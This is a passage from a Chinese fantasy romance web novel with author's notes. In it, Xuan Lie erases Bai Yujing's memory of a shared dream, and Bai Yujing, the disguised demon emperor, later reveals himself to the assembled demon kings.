“……我当然听过!”白玉京闻言蹙眉,气得锤他,竟脱口而出,“夫君真当本座是傻子吗?” 他并未意识到自己的自称有什么不对,玄冽闻言却忍不住看向对方。 他的性格与清醒时越来越像了,这意味着……梦境对他的约束在逐渐减弱。 梦快要醒了。 玄冽低头吻了吻他的鼻尖:“那劳烦妖皇陛下讲一讲,什么是黄粱一梦。” “所谓黄粱一梦,指的是一人时运不济,一仙翁见此便取青瓷枕引他入睡。” “他入睡之前,店家刚好煮上黄粱饭,他在美梦之中娶妻生子,享尽世间至乐,可当他度完一生从梦中醒来时,店家煮的黄粱饭才刚刚熟透。” “这便是所谓黄粱一梦的故事。” 白玉京说完却话音一转道:“但话又说回来了,‘休言万事转头空,未转头时皆梦。’既是亲身经历过的事,又何必求真呢?便是梦境又如何?” 除了幼时之事能让他耿耿于怀外,他素来豁达。 “讲得不错。”玄冽闻言夸赞般吻了吻他的嘴角,但下一句却是,“所以这一晚也是真实的,只不过……不会有天亮的时候了。” 白玉京原本正漫不经心地评价着他人的故事,闻言一怔,蓦然泛起了一股说不出的慌张:“……什么?” “十日已尽了,卿卿。” “多谢你。” 多谢你赐我一梦黄粱,也多谢你愿意原谅昔日之事。 只这十日的荒诞,便足以了却数百年的噬心之痛。 但如今,梦该醒了。 白玉京突然感受到了一股巨大的不详,慌乱之下猛地抓住他的衣襟:“夫君此话是何意?” 话刚出口,他便突然感觉到脑海中的记忆如流水般开始逝去。 梦境的权限包括一切,玄冽既然能肆意修改、颠倒,自然也能——抹去一切。 白玉京瞳孔骤缩,脱口而出:“你不能——” ——你不能肆意闯入我的梦境,又肆意夺走一切。 这十日的恩爱,难道因为是梦便不作数吗? 突然间,白玉京想起什么一般,蓦然低头,从尾间拽下那枚记录一切的红玉环,死死地攥在手心中。 下一刻,磅礴的妖力蓦然于梦中炸开,居然硬生生抗住了篡改的力量。 白玉京的执念完全超乎玄冽的想象,他见状微微蹙眉,改变策略,选择率先抹去对方记忆中“恩公”的存在。 梦中的权柄只能在梦中起到作用,哪怕删去关于他心头恩公的记忆,待白玉京苏醒之后,他也会重新记起。 但这十日美梦不同,一旦删去,待白玉京苏醒之后,便不会记起任何事。 然而,当玄冽当真动手抹去白玉京脑海中关于“恩公”的记忆后,对方的念力居然依旧不减分毫。 娇艳的美人披着喜服,攥着血玉一眨不眨地看着他,竖起的蛇瞳透着股让人恐惧的执拗:“夫君,你要抛弃卿卿吗?” 抛弃二字一出,玄冽呼吸骤停,素来冷静凛冽的面容竟倏然出现了一丝裂痕。 下一刻,妖皇之力铺天盖地压下,蓦然将整个梦境给搅得七零八落。 “夫君,”白玉京拿着血玉走到他面前,空灵到诡异的声音在整个梦中四面八方地响起,“你说要和我永远在一起……先前的话,难道不作数了吗?” 玄冽安静了片刻,突然道:“我只有半颗灵心,卿卿可想好了?” 那四面八方的空灵之音脱口而出:“半颗也没关系,半颗就半——” “灵心不全者,情亦不全。” 玄冽蓦然打断他,那些声音瞬间戛然而止。 于荒诞之夜即将迎来黎明的前夕,玄冽终于神色如常地剖开自己的一切,尽数展现给白玉京。 “所谓不全,指的是每过十年……我便会遗忘一切情感,周而复始。” 白玉京一下子怔住了。 “直至永远。” 玄冽平静地说出那四个字,掷地有声般落在濒临破碎的梦中,一下子将所有虚假的恩爱尽数砸碎。 灵族天生无情,拥有灵心才能像其他种族一样,体验七情六欲。 但灵心不全的灵族,却如同一个不完美的沙漏,随时有可能将所有感情遗忘。 更可悲的是,他们遗忘的不是记忆,只是情感。 倘若爱人彻底将一切遗忘,或许有人尚能接受,无非是重头再来罢了。 可若是对方分明前一日还与你恩爱异常,第二日醒来时甚至依旧记得与你经历的一切,可看向你的目光中仅剩下漠然与冰冷……试问有几个人能接受呢? 又有几个人,能拥有和昔日大巫一样的信心,相信自己能让一块万年都捂不热的石头,为自己生出灵心? 看着一言不发地白玉京,玄冽抬手撩起他的碎发,垂眸深深地凝望着他。 所以,卿卿,你会爱上一个没有前世,亦没有来生的死物吗? 你愿意和昔日的大巫一般,飞蛾扑火,去赴一场明知没有结局的约吗? 可哪怕你愿意,我也不可能舍得。 白玉京仰起脸,略显茫然地看向玄冽。 心下没有对方欺瞒自己的愤怒,只有一股莫名的巨大悲怆。 失去了一段记忆的白玉京不明白这悲怆从何而来,而在他心底的某个角落,那条记得一切的可怜小蛇正在心疼地痛哭流涕。 ——所以,这七百年来,你不愿见我,便是一人在承受这般苦果吗? 我苦求三世,错把鱼目当明珠的时候,从来没有想过,原来你根本就没有来世。 你我重逢之后的每一个十年,每一个遗忘的前夕,你都在想什么呢? 我不再恨你抛弃我了,恩公,你也不要再恨你自己了,好不好? 小蛇在白玉京心底痛哭,可那抹浓烈的情绪却像是隔了一层巨大的屏障,牢牢地锁在记忆深处。 浓墨重彩的前尘在梦中被人尽数抹去后,剩下的便只有这十日留下的短暂激情了。 而在即将苏醒的临界处,激情也随着清醒缓缓褪去,再剩下的,便只有面对利弊的权衡了。 通天蛇对伴侣的要求极高,天性使然,他们几乎不可能寻找一个灵心不全,随时可能将爱意遗忘的伴侣。 “……” 白玉京沉默着垂下睫毛,却依旧没有松开手中的血玉镯。 他的犹豫与权衡似乎早在玄冽预料之内,见状没有丝毫失望,反而宽慰般理了理他的鬓发。 “你不必强求自己违背天性。” 白玉京闻言蹙眉道:“我没有——” “没关系。”玄冽一眨不眨地凝望着他,“你不必强求自己,我也会永远爱你。” 白玉京一下子怔住了。 玄冽低头,最后一次吻了吻他,他没有躲。 所以,不要害怕。 哪怕遗忘一千万次,我也会重新爱上你一千万次。 你理应得到一切爱意,不必强迫自己回应。 只不过……这情意残缺,并不衬你。 你合该娇艳怒放,不该与残枝败柳共度余生。 卿卿如晤,愿你日日顺遂,岁岁长宁。 梦境终于从边缘处向内开始崩塌,十日的恩爱如流水般从脑海中消散。 然而,正当两人即将彻底醒来时,白玉京却突然开口,竟依旧唤他道:“……夫君。” 玄冽一顿,猛地看向他。 白玉京眼底闪烁着淡淡的心疼与泪光,似是有什么话要对他说:“我……” 然而下一刻,天光乍破,冰雪无情割开一切虚幻的美梦,所有的未尽之意,尽数埋在风雪之中。 而后,梦醒了。 十日之内的一切恩爱化作流水,尽数封存在玉镯之内。 “……” 白玉京被手腕间的热意燥得苏醒,揉着发胀却空无一物的脑袋从冰床上坐起,一抬眸便看见站在一旁一言不发的玄冽。 他略显茫然地看向对方,正迷迷糊糊地思考着玄冽为什么会在这里,沉睡前的记忆恰到好处地开始缓缓回笼。 白玉京面色逐渐僵住,红意硬是从他的面颊一路攀到了耳垂。 这下流的王八蛋居然用心头血勾引自己……还借机会亲自己——! 白玉京面色爆红,在心底把占自己便宜的臭石头骂了个狗血喷头。 可无论他怎么绞尽脑汁回忆,他的大脑都宛如断片一般,根本想不起来这十天内梦里发生的任何事。 ……所以,这狗东西在梦中干了什么?还是自己干了什么? 白玉京惊疑不定地抬眸看向身旁人。 而且……玄冽为什么醒来之后一言不发?难不成自己已经暴露了? 他一时间有些拿不准自己在梦中到底暴露了没有,也不知道该不该跟玄冽挑明。 白玉京犹豫不决看向对方,最终鼓起勇气试探道: “敢问仙尊……我在梦中可有逾矩之处?” 作者有话说: 是的,玄子每十年重启一次,大概就是这样一个状态:这是什么?我老婆,逗一下;这是什么?我老婆,逗一下…… 但石头如此一意孤行抹去老婆记忆,老婆要真不认识他了他又不乐意,所以等到小蛇想起来气疯的时候……嘿嘿[奶茶] 第24章 妖王 玄冽闻言神色如常道:“并无。” 白玉京狐疑地看着他, 显然不怎么相信。 但他苏醒之后,身上干燥无比,体内的妖力前所未有地充盈磅礴, 整个人没有任何异样。 ……难道真是自己错怪他了? 白玉京在心底犯嘀咕道,如今他安安稳稳地迈入成熟期, 这么算来,似乎不管在梦中经历什么他都不亏, 反正梦中之事皆为虚妄, 做不得真。 想到这里, 他心底的紧张消退了几分, 但有些事该问还是得问:“敢问仙尊, 梦中发生了什么?我……为何记不起梦中的任何事?” 玄冽闻言竟顿了一下:“记不得?” 这石头看起来好像有点难过?太阳可真是打西边出来了。 白玉京完全没看出来玄冽有一半都是演的, 迟疑了一下道:“我确实记不得了……梦中发生了什么?” “不是什么重要的事。”玄冽面不改色道, “等你想起来自然便知道了。” ——不是什么重要的事那你倒是说啊! 白玉京的好奇心瞬间被勾到了极致,他忍不住想去拉玄冽的衣摆,但一抬手,却被手腕上愈发滚烫的热意给弄得一僵。 他愣了一下, 随即好似突然想起来什么一般, 蓦得汗毛倒立,连忙低头看向手腕上的玉镯。 这是……玄冽本体的“眼睛”。 从戴在手腕上的那一刻开始, 自己就身处于玄冽的监视之中。 那……自己私下和江心月相见之事, 他到底看到了多少? 神识传音恐怕能避开这玉镯的窥视, 但私下相见是不争的事实,自己又该怎么解释? 正当白玉京大脑飞速旋转, 整个人苦思冥想得几乎要冒烟时, 玄冽抬手拍了拍他的肩膀:“该回去了, 霜华妖王传讯, 其余两大妖王将至。” 白玉京猝不及防被他拍得一颤,腿一软竟险些跪下。 “……!?” 他整个人都被自己身体莫名的反应给惊呆了。 虽说蛇性本淫,成熟之后的本体确实会受此影响……但也不该这般丢人吧!? 玄冽见状道:“怎么了?” “……无事。”白玉京猛然回神,心说绝对不能让玄冽这下流石头发现此事,“我只是在想,除却霜华妖王之外,原本还该有三位妖王,如今怎么只来了两位?” 玄冽道:“本尊也不知晓,你等下可去问江心月。” 白玉京:“……” 对方似乎只是随口一说,白玉京却忍不住想起了蜕鳞之前自己私下召见江心月的事。 他做贼心虚般摩挲上腕间玉镯,玄冽见状,和往日一样,抬手搂住他的腰,自然而然地便要带着人向殿外走去。 “……!” 白玉京一僵,当即回神,连忙笑着推开他的手:“多谢仙尊,不过我自己能走,便不劳烦仙尊搀扶了。” ——开玩笑,以他现在身体莫名其妙的敏感程度,要是被玄冽搂着腰抱回去,那他也不用去见自己的几个手下了,直接就地把自己埋了算了! 白玉京推拒的力气并不算大,甚至称得上克制。 但玄冽动作一顿,随即心下蓦得泛起了一股说不清的滋味。 先前在梦中信誓旦旦说什么不求对方回应的人是他,可如今,当真被人推远后,心下骤然泛起万般阴暗情绪的人也是他。 白玉京心头思绪万千,一时间没注意到身后人看向自己发暗的目光。 其实他之前也有醒来后遗忘梦中之事的先例,不过没这次这么彻底。 根据当时留下的记忆片段看,那些确实都是些无关紧要的碎梦。 思及此,白玉京多少有些相信方才玄冽的说法了。 ——想来应当是这次蜕鳞的冲击过于强大,再加上梦中发生的不是些重要之事,所以自己才会忘得这么彻底。 不过忘了也好,他可不想记起自己在梦中被玄冽摆布的样子,想想都鸡皮疙瘩掉一地。 白玉京用头发丝想都能想到,玄冽操控了他的梦境后会干什么。 不过,他自己都未意识到,他潜意识里对玄冽的人品其实相当信赖。 他哪怕猜,也只敢猜玄冽在梦里让他摇着尾巴喊主人,最多也就是让他变成小蛇,盘在对方手腕上揉一揉蛇腹。 再给白玉京一万个心眼,他也不可能想到梦中到底发生了什么。 于是,他就这么快速紧张,又快速宽慰完自己,和玄冽一起回了帝华宫。 银装素裹的帝宫今日格外繁华,各类冰系花妖汇聚于此,江心月本人则早早带着苏九韶等在宫门外。 看见两人到来,两侧的花妖俯身行礼,苏九韶则压不住惊喜道:“前辈!” 白玉京遥遥看见她便笑着打了声招呼:“九韶姑娘。” 待白玉京走近,她却怔了一下。 十日未见,对方的外貌分明和之前没有任何差别,可不知道为什么,她总觉得白玉京周身的气质和先前不大一样了。 就像是……青涩的果实突然熟透了一样。 意识到自己在想什么后,苏九韶蓦然红了脸,连忙低下头。 如果说苏九韶还只是猜测,那同为妖修的江心月几乎一眼便看出了白玉京的不同。 顶着属下意味深长的笑意,白玉京咳嗽了一下,硬着头皮道:“旧日顽疾突发,幸得仙尊帮忙化解,耗费了些许时日,还请妖王勿怪。” 玄冽并未戳穿他,反倒是替他遮掩:“有劳妖王久候。” “此乃妾身应尽之事,二位不必客气。”江心月闻言微微一笑,侧身道,“狐王已至,狼王须臾便至,还请两位落座稍候。” 传闻中一直有事的风啸妖王终于解决完境内之事,正在向此方世界赶来,但最终四大妖王依旧只有三位前来——分别是东道主霜华妖王江心月,风啸妖王苍骁,以及九渊妖王涂山侑。 不知为何,万相妖王花浮光未至。 白玉京带着不解和众人走进帝华宫。 却见帝宫之内的阵仗,竟比外面看上去还要隆重几分,江心月显然是下了一番功夫,只不过这功夫下得却有些……一言难尽。 宴会之上,各种花妖鱼贯而入,白玉京只瞟了一眼便被刺激得鸡皮疙瘩起了一身。 他没由来地想起了自己尚且是条小蛇时被那人“惩罚”的情形,可就是这么简单的回忆,却把他搞得大脑一片空白,整个人瞬间僵在位置上一言不发起来。 ……不是,这到底是怎么回事啊!? 白玉京回神之后整个人几乎要炸了。 玄冽分明也没碰他,只是回忆一下怎么就又受不住了!? 对于自己莫名其妙变得难以启齿的身体,白玉京羞恼之余甚至有些绝望。 可在属下面前,他就是再绝望也不能突然起身说不好意思我先去解决一下自己丢人的身体你们先聊。 最终,白玉京只能端着杯子故作高深地坐在那里。 摇着黄色狐尾的狐王笑眯眯地坐在两人正对面,他意味深长地看向白玉京,又笑着看了看玄冽。 玄冽见白玉京不语,便替他问道:“风啸与万相为何不至。” “苍骁有事晚来一会儿,至于扶光……”提及虫王,江心月斟酌了一下同玄冽道,“她说人皇既已飞升,她便没有见您的必要了,让您好自为之。” 话一出口,她自己都忍不住沉默了几分,似是感觉虫王之语哪怕委婉转述也实在冒犯。 可玄冽闻言并不恼,反而冷淡道:“她没劝下宋青羽,与其迁怒本尊,不如想想她自己在对方心中的分量够不够。” 江心月这下彻底沉默了。 ……怪不得妖皇昔日同仙尊吵架,总是能被对方气得回妖宫咬尾巴。 此话若是让虫王得知,对方定然会被气得暴跳如雷,自己还是不转述为妙。 白玉京难得不愿说话,玄冽本就话少,如今连东道主也沉默了,整个殿内一时间充斥着巨大的妖力,他们几人倒不觉得有什么,苏九韶却被压得大气都不敢喘一下。 不过花妖们歌舞的间隙,她却没忍住,小心翼翼地打量向那位自己未曾见过的妖王。 “小妹妹,别害怕。”那狐尾看起来相当蓬松的狐王察觉到她的目光后,笑得无比和善道,“你看你旁边那位小美人都不害怕,多和他学学。” ……前辈可是通天蛇妖,他当然不害怕了! 苏九韶心下大喊,面上则僵硬道:“多谢前辈教导。” 不过,玄冽似是听出了狐王的言下之意,扭头看了涂山侑一眼。 对方回以他一个完美无暇的笑容:“只是不知,仙尊从哪寻来这样一位绝色美人?实在是好雅兴啊。” ……这看热闹不嫌事大的狐狸! 白玉京夹着腿坐在位上,正在心中暗骂,一阵掺杂着雷电的烈风突然从殿外袭来,毫不客气地刮进殿内。 正在歌舞的花妖们一僵,江心月轻轻拍了拍手,那些险些被风刮跑的小花妖便被她卷着放在了一旁:“你们下去休息吧。” 花妖们连忙道:“是,陛下。” 下一刻,只见一高大英俊,身材健壮,却只披了件狐裘,堪称袒胸露乳的男人走进来:“霜华、狐狸,抱歉,本王来迟了。” 江心月温声道:“苍鸣距霜华路途遥远,一路辛苦了,快请落座。” “我倒是无妨,等你也不是一天两天了。”涂山侑闻言笑道,“倒是仙尊大人亲临,来者是客,你让客人久等,确实是有些无礼了。” 苍骁在涂山侑身边坐下,闻言瞟了白玉京和玄冽一眼,竟冷笑道:“玄冽,你兴师动众地把我们喊来,却带个这样花枝招展的小老婆,你自己不嫌害臊,本王可是替你害臊。” 白玉京:“……” 江心月:“……” 涂山侑:“……噗嗤。” 苍骁蹙眉,扭头道:“狐狸,你笑什么?” “没事,我想起高兴的事情。”涂山侑说着用尾巴遮住脸,“大王还请继续。” ……这条蠢狗,说谁是小老婆呢!? 白玉京回神之后恼羞成怒,脸上火辣辣的热,刚想说什么,便见那蠢货竟又扭头,蹙眉对他教育道:“还有你,小妖,堂堂通天蛇出身却断袖低伏、狐媚于人,成何体统!” “……” 玄冽闻言脸色骤然冷了下去,白玉京连忙抬手拉住他的衣袖,以防此人暴起,将那刚满百岁的狗崽子直接打死。 气氛瞬间凝滞下去,帝宫之内鸦雀无声,唯独涂山侑噗嗤一声笑得更大声了。 ……笑什么笑! 白玉京一边拽着玄冽的袖子,一边忍不住瞪了涂山侑一眼。 狐媚于人没听懂吗?你个臭狐狸也被骂了!看看你养的什么狗崽子,不会养孩子就别乱捡行吗!? 白玉京咬着牙在心中默念不能在玄冽面前暴露,尤其不能在众目睽睽下暴露,不然他的脸恐怕要丢光了。 最终他忍下怒火,从牙缝中挤出一句:“仙尊有恩于我,此事就不劳妖王费心了。” 苍骁闻言蹙了蹙眉,玄冽闻言却一顿。 江心月实在看不下去了,生怕再这么下去风啸妖王就要换人了:“仙种一事,关乎六族三界,还请诸君共劳。” “六族三界?仙尊果真顾念苍生。”苍骁却完全不愿意就顺着台阶下,反而嗤笑一声,看向玄冽的眼神无比森冷,“只是本王有一事想问——仙尊杀我陛下之时,可曾想过还有六族三界?” 玄冽冷冷道:“白玉京并非死于我手。” 苍骁冷笑一声,显然不信。 然而,没等两人继续对呛,殿内突然传出一声巨响,众人一惊,目光齐齐看向发出声响之人。 苏九韶:“……” 却见她瞠目结舌地坐在那里,手中的琥珀杯生生砸在地上,整个人仿佛被吓傻了一般,呆呆地坐在那里,捡也不知道捡。 ……遭了! 白玉京见状突然想起了什么,一口气没上来险些昏过去。 ——他差点忘了,这姑娘知道他的名讳! 作者有话说: 哦豁,小蛇掉马进度30%[害羞] 第25章 坦白 苍骁见闹出动静的是个人族姑娘, 想骂却联想到昔日在妖宫里长大的人皇宋青羽,最终他难得耐着脾气没吭声。 涂山侑率先笑道:“小道友这是何故?” 玄冽闻声也扭头看过来。 “我……” 苏九韶张了张嘴不知道该说什么,一时间冒出一身冷汗。 白玉京就是妖皇!?那他岂不是在昔日宿敌身边, 日日…… 日日承欢!? 这四个字冒出来的刹那,完全没见过这种世面的可怜姑娘险些被吓得崩溃。 ——自己不会被灭口吧?! 白玉京眼皮狂跳, 一边在心中暗骂玄冽此人当着这么多外人面直呼他的名讳,实在是大逆不道, 一边又担心苏九韶这姑娘被吓急了, 当真玄冽的面把事情都给抖出来。 思及此, 他一咬牙, 豁出去般一把拥住玄冽胳膊, 故作委屈道:“仙尊, 谁是白玉京?” 他生怕玄冽发现异样, 因此几乎把对方的胳膊挤进了自己怀中,只为转移他的注意力。 江心月见状一口气险些没上来,扭头闭了闭眼。 ……没眼看,陛下开心就好。 玄冽面不改色地轻轻拍了拍他的腰, 解释道:“妖皇白玉京, 和你一样也是通天蛇。” 苏九韶:“……” 白玉京:“……” 妖族名讳不可轻易示人,除非极为亲近, 或是境界完全碾压被告知之人方能告知。 但白玉京此刻已经无心去分辨玄冽如此堂而皇之地说出他的名讳, 到底是出于何种目的了。 他整个人不可思议地僵在位置上, 感受着身下那股难以启齿的湿意,只恨不得当场昏过去。 只是被玄冽拍了拍腰而已, 自己怎么就…… “你以为你说没杀, 我们便会信你?”苍骁冷笑道, “找这么个同为通天蛇的小老婆, 本就为折辱我等,还有什么好说的!” 玄冽冷冷道:“若是不信,不如本尊送你去见他,你当面问他。” 苍骁震怒:“……你!” “好了。”涂山侑一合扇,收敛了几分笑意,声音中染上了几分警告,“阿骁,安静些。” 苍骁进来时口口声声喊他狐狸,话里话外听不到半分尊敬,可眼下听闻此语,他顿了一下后,虽面上仍有不忿,但还是听话地闭了嘴。 苏九韶原本还有闲心打量狼王身上的狐裘,心下纳罕他怎么敢当着狐王的面穿狐裘,而且那狐裘的颜色为什么又和狐王尾巴上的毛色那么相似。 但眼下,苏九韶已经被那个突然得知的惊天大秘密给砸蒙了,六神无主地坐在,完全没心思考这些事。 把闹人的狗崽子按下去之后,殿内的气氛终于平复了一些,勉强能用来谈论正事了。 仙种一事,按照宋青羽传下来的消息,大概率是真正的种子,并非其他代指,所以本质上还是要寻找一枚灵植的种子。 听到玄冽的解释后,江心月沉吟了片刻,拿出了四枚冰蓝色的圆润莲子。 她将其中两枚交于两位妖王,留了一枚给未到的虫王,最终将最后一枚递给了白玉京。 “虽不知仙尊具体要寻什么样的种子,但妾身好歹是灵植出身,此物或许能帮上两位。” 最终,众人虽在明面上达成共识,暂时将寻找仙种一事摆在了首位,但苍骁与玄冽话不投机半句多,这蠢狗俨然把玄冽的话当耳旁风,根本没往心里去,也压根没打算帮忙找什么种子,只是看在涂山侑的面子上敷衍一二。 ……这看人下菜碟的蠢狗,得想办法治治他。 白玉京抿着唇在心中暗道。 宴会结束,玄冽起身便走,带着白玉京出了帝华宫。 然而刚走出十步,白玉京便停下了脚步。 玄冽脚步一顿,扭头看向他,似是在询问缘由。 “我看九韶姑娘今日在宴席上似有异样……”白玉京道,“十日未见,我有些担心她,想去和她聊两句。” “好。”玄冽点头,并未多问,“传送阵一事,你可询问她是否知情。” 这指的是先前望清荷与杜惊春所讨论的传送阵。 杜惊春已死,眼下十日过去,望清荷却依旧没有离开霜华,不知还有什么打算。 传送阵一事,沈风麟故意瞒着白玉京,但不一定会瞒着苏九韶,她或许知道些什么。 但白玉京闻言并未直接答应,反而垂下睫毛轻轻道:“……不若等下我把她带回宫,仙尊直接询问她便是。” 他自以为说得委婉,玄冽却瞬间便听出了他的言下之意。 ——他想引外人一同回宫,以此来防止两人单独相处。 白玉京的本意确实如此,但他根本没想那么多,他只是不想让玄冽这么快发现自己成熟后变得莫名其妙的身体,想着能拖几天是几天。 然而,他话刚一出口,便突然感觉手腕上的玉镯前所未有的炙热起来,烫得他脸色骤变,身体竟不经大脑思考蓦地回忆起什么。 好烫……呜……快要流出来了…… 不要看里面,求你……那里夫君都还没看过—— ——不是,这都是什么东西!? 白玉京被自己脑海中莫名闪过的片段惊得目瞪口呆,强做体面地站在原地,一时间半个字都说不出来。 “好。” 最终玄冽只留下这一个字,转身消失在茫茫大雪之中。 ……怎么感觉他好像又有些伤心? 白玉京不明所以地站在原地,待对方彻底离开,手腕上的红镯也凉下去后,才淡下神色转过身。 他抬手在玉镯上一抹,抬脚再次走进了正殿。 ——先前是他认错了玄冽用来窥探的媒介,如今知晓清楚后,便是玄冽的本体他也丝毫不怵。 正殿之内,苏九韶恰好战战兢兢地起来同三位妖王告辞,得到江心月的点头后,她刚转头准备迅速走人,便蓦地撞见了回头的白玉京。 “——!” 苏九韶面色一顿,刹那间僵在原地。 身后正殿内,苍骁正满腹牢骚地和涂山侑抱怨着:“义父,我说了多少次了,你能不能别老是当外人面喊我小名?我已经不是当时还要在你怀里要奶吃的小狼崽了,能不能尊重……谁!?” 他话说到一半蓦然扭头,却见先前被人带走的小蛇妖,此刻正神色冷淡地站在殿前。 苍骁忍不住蹙了蹙眉:“谁让你进来的?” 白玉京看都没看他一眼,只和苏九韶淡淡道:“你回去坐着。” 他一改平日粘着玄冽的娇憨模样,像极了苏九韶初见他时的姿态,甚至隐约之间还有些玄冽的影子。 “……” 苏九韶心下一颤,立刻猜到了什么,连忙低头称是,转身回到座位上。 苍骁见他如此不把自己放在眼中,当即脸色一沉:“放肆,帝宫正殿岂容你在此发号施令?快些出去——” “砰——!” 一声巨响突然在殿内炸开,白玉京刚准备动手揍这傻狗,闻声一顿,扭头看了眼好整以暇收回尾巴的涂山侑。 ……哼,雷声大雨点小,白玉京在心头暗道,护崽子的臭狐狸。 苍骁猝不及防间被抽得险些吐血,惊怒之中抬眸,却见江心月与用尾巴抽他的涂山侑无一人说话,就那么安静地坐在位置上。 ……不对,这什么情况? 下一刻,尚未想明白的苍骁便眼睁睁看着那条小蛇走到他面前,居高临下地看向他,语气森然道:“抬起你的狗头,好好看看本座是谁。” 话音刚落,磅礴的妖气便瞬间在殿内炸开,对方外貌分毫未变,苍骁却一下子认出了这股妖气,面色骤变道:“吾、吾皇!?” 白玉京恨铁不成钢地瞪了他一眼,抬脚从他身边走过,江心月从正位上起身,行了一礼后,下去坐在了浑身僵硬的苏九韶身旁。 白玉京撩起衣摆坐在主位上,扭头一看,却见苍骁还一脸震惊地仰面躺在地上,像个四仰八叉的蠢狗一样,登时气不打一处来:“成事不足败事有余的蠢货,滚起来!” “……” 苍骁捂着被抽肿的脸颊恍惚地坐起身,看了看似笑非笑的涂山侑,又看了看旁边一言不发的江心月,再联想到来都不愿来的虫王,一下子什么都明白了——原来四大妖王里,只有他被蒙在鼓里! “这蠢狗小时候当真是吃奶长大的,不是喝鹤顶红长大的?”白玉京看向涂山侑,匪夷所思道,“怎么能蠢成这样?” “没办法,我是只公狐狸,能把他奶大已是不易了。”涂山侑佣尾巴挡着脸,煞有其事地叹了口气道,“还请陛下见谅。” 苍骁脱口而出:“我没有——” “闭嘴,给本座滚回来坐好。堂堂妖王天天跟个坐不稳到处咬人的野狗一样。”白玉京骂道,“再让本座听见不三不四的话从你嘴里出来,就滚回你爹怀里吃奶去!” ——先前宋青羽练剑不利,玄冽便是这么骂他的。 当时白玉京忍不住一边用尾巴把女儿圈到怀里安慰,一边对着那讨人厌的臭石头呲牙回骂。 但如今看来,这石头骂人的功夫确实了得,学他说话还挺爽的。 苍骁被他骂得狼耳朵都耷拉下去了,但他自知做错了事,也没敢顶嘴,就那么蔫蔫地回到座位上。 他后知后觉地意识到,白玉京似乎并不只是因为被他忤逆才生气的,更多的好像是因为他跟玄冽对呛所以才这么生气的。 ……难道昔日那些传闻都是真的? 可他们陛下岂可屈居人下!? 思及此,苍骁惊恐之中忍不住道:“陛下既然洪福齐天,如今又已蜕鳞成熟,为何不离开?何必一直跟在那道貌岸然的伪君子身边?” “离开?”白玉京冷笑一声,张嘴便吹嘘道,“那石头日日用心头血供着本座,恨不得把灵心都挖出来献给我,本座为何要离开?” “心头血……”苍骁一拍桌子大惊道,“他当真是断袖?” 苏九韶:“……” 江心月:“……” 涂山侑被他蠢得叹了口气,用尾巴遮住脸。 “谁知道呢,或许吧。”白玉京满不在乎道,“他一块石头能喜欢活物已经算是不容易了,男的女的又有什么关系。” 苍骁没从他嘴中听出任何厌恶,反而隐约听出了些许纵容,一下子便急了:“可您堂堂妖皇,怎可低伏于他!?” 涂山侑闻言不知为何,扭头淡淡地看了他一眼。 “谁说本座要低伏于他?”白玉京把玩着手腕上的血玉手镯,嗤笑道,“只有绝世的蠢货才会爱上那种没心肝的石头。” “本座可不会重蹈巫主覆辙。” 苍骁脱口而出:“那您今日之态——” “好了,本座自有打算,找你的种子去。”白玉京懒得跟他掰扯,冷下脸警告道,“再胡言乱语小心本座扒了你的狼皮。” 苍骁显然还想说什么,涂山侑突然起身,拽着他的狼耳朵行了一礼:“吾皇,我先带他回去了。” 白玉京挥了挥手:“赶紧滚。” 送走了蠢得像条狗的狼和狡猾的狐狸,白玉京扭头看向此方之主:“虫王为何没来?” 江心月解释道:“人皇飞升之前,她得知此事曾去劝过人皇,见不成,又去求过仙尊,只可惜最终仙尊并未劝下人皇……浮光或许是因此才有些记恨仙尊。” 江心月说得委婉且体面,白玉京闻言却听出了她的言下之意:“她与青羽素来交好,飞升一事,她恐怕记恨的不止玄冽,还有我。” 江心月默然。 白玉京低头摩挲着手腕上的玉镯,淡淡道:“青羽之事,我虽也埋怨过玄冽,但细想之下便知,他身为正道魁首,此事处理得并无差错。” “你告诉浮光,她若记恨,让她只恨我一人便是,此事与玄冽无关。” 江心月低头道:“……是。” 言罢,她见白玉京没有其他事要和她交代,便识趣地起身告辞了。 偌大的帝宫之内,只剩下苏九韶和白玉京两人。 白玉京犹豫了一下,还没想到该怎么和苏九韶坦白,便见那姑娘突然起身,直接走到下面欺身便拜:“……晚辈有眼不识泰山,还请妖皇陛下莫怪!” 白玉京吓了一跳:“快起来,快起来,这是做什么。” 苏九韶却跪在地上不愿起身:“陛下恩重如山,晚辈无以为报……” “好了,快起来吧。”白玉京叹了口气打断道,“本座也不是谁都愿意救的,你很像我女儿,所以不必妄自菲薄。” 苏九韶一怔,不可思议抬眸:“您说的可是人皇陛下?” “是她。”白玉京点了点头道,“本座知你爱胡思乱想,今日留你便是为了让你放宽心,但同时也记住,日后莫要在玄冽面前露了马脚。” 苏九韶连忙道:“是,晚辈一定谨记。” 白玉京点了点头起身道:“行了,那就跟我走吧。” 苏九韶一怔:“……现在?” 白玉京点头:“嗯。” 苏九韶起身,但还是有些不解:“敢问二位寻我过去有何事?” 白玉京面色有点微妙,他总不能说自己不敢跟玄冽在同一屋檐下待着,才故意喊苏九韶过去,闻言只能硬着头皮故作高深道:“你去了自然就知道了。” 苏九韶没敢再问,连忙称是。 是夜,瑶池寝殿内。 “仙尊,我把九韶姑娘带回来了。” 苏九韶拘束地跟着白玉京在寝殿坐下,她憋了一肚子秘密,眼下看见玄冽便紧张:“……晚辈拜见仙尊。” 玄冽淡淡地应了一声,倒了杯青梅露递到白玉京手中。 白玉京接过道了声谢,紧跟着又道:“烦请仙尊给九韶姑娘也倒一杯。” 玄冽闻言竟当真又倒了一杯推到苏九韶面前,苏九韶被吓得差点跪下。 白玉京见状连忙关切道:“怎么了?” “……没、没什么。” 苏九韶硬着头皮道。 她产生了一种微妙的错觉,好像自己是白玉京从外面抱回来的野孩子,玄冽就像是她的后爹,对她没什么多余的感情,却看在白玉京的面子上对她并不差。 苏九韶被自己大逆不道的错觉刺激得头皮发麻,连忙开口道:“不知二位唤晚辈来是为何事?” 白玉京从玄冽给他准备好的灵果中随手挑了个仙杏,咬了一口道:“劳烦姑娘再想一下,沈风麟与你交谈,或是与他人交谈之间,可有什么古怪之处?” 苏九韶闻言陷入了沉思,端起那杯青梅饮喝了一口,整个人却被酸得瞬间回神,差点灵魂出窍。 ——这么酸的味道前辈是怎么喝下去的!?他先前在八宝的时候,不还吃不了酸的吗? 白玉京见她僵坐在那里:“姑娘可是想起了什么异样?” 苏九韶僵着被酸麻了的脸色,放下玉盏道:“晚辈记忆中好像并无什么古怪之处……敢问前辈具体的指的是哪方面?” 白玉京补充道:“比如召唤阵,或者是传送阵之类的阵法,你再好好想想,沈风麟可有提过?” 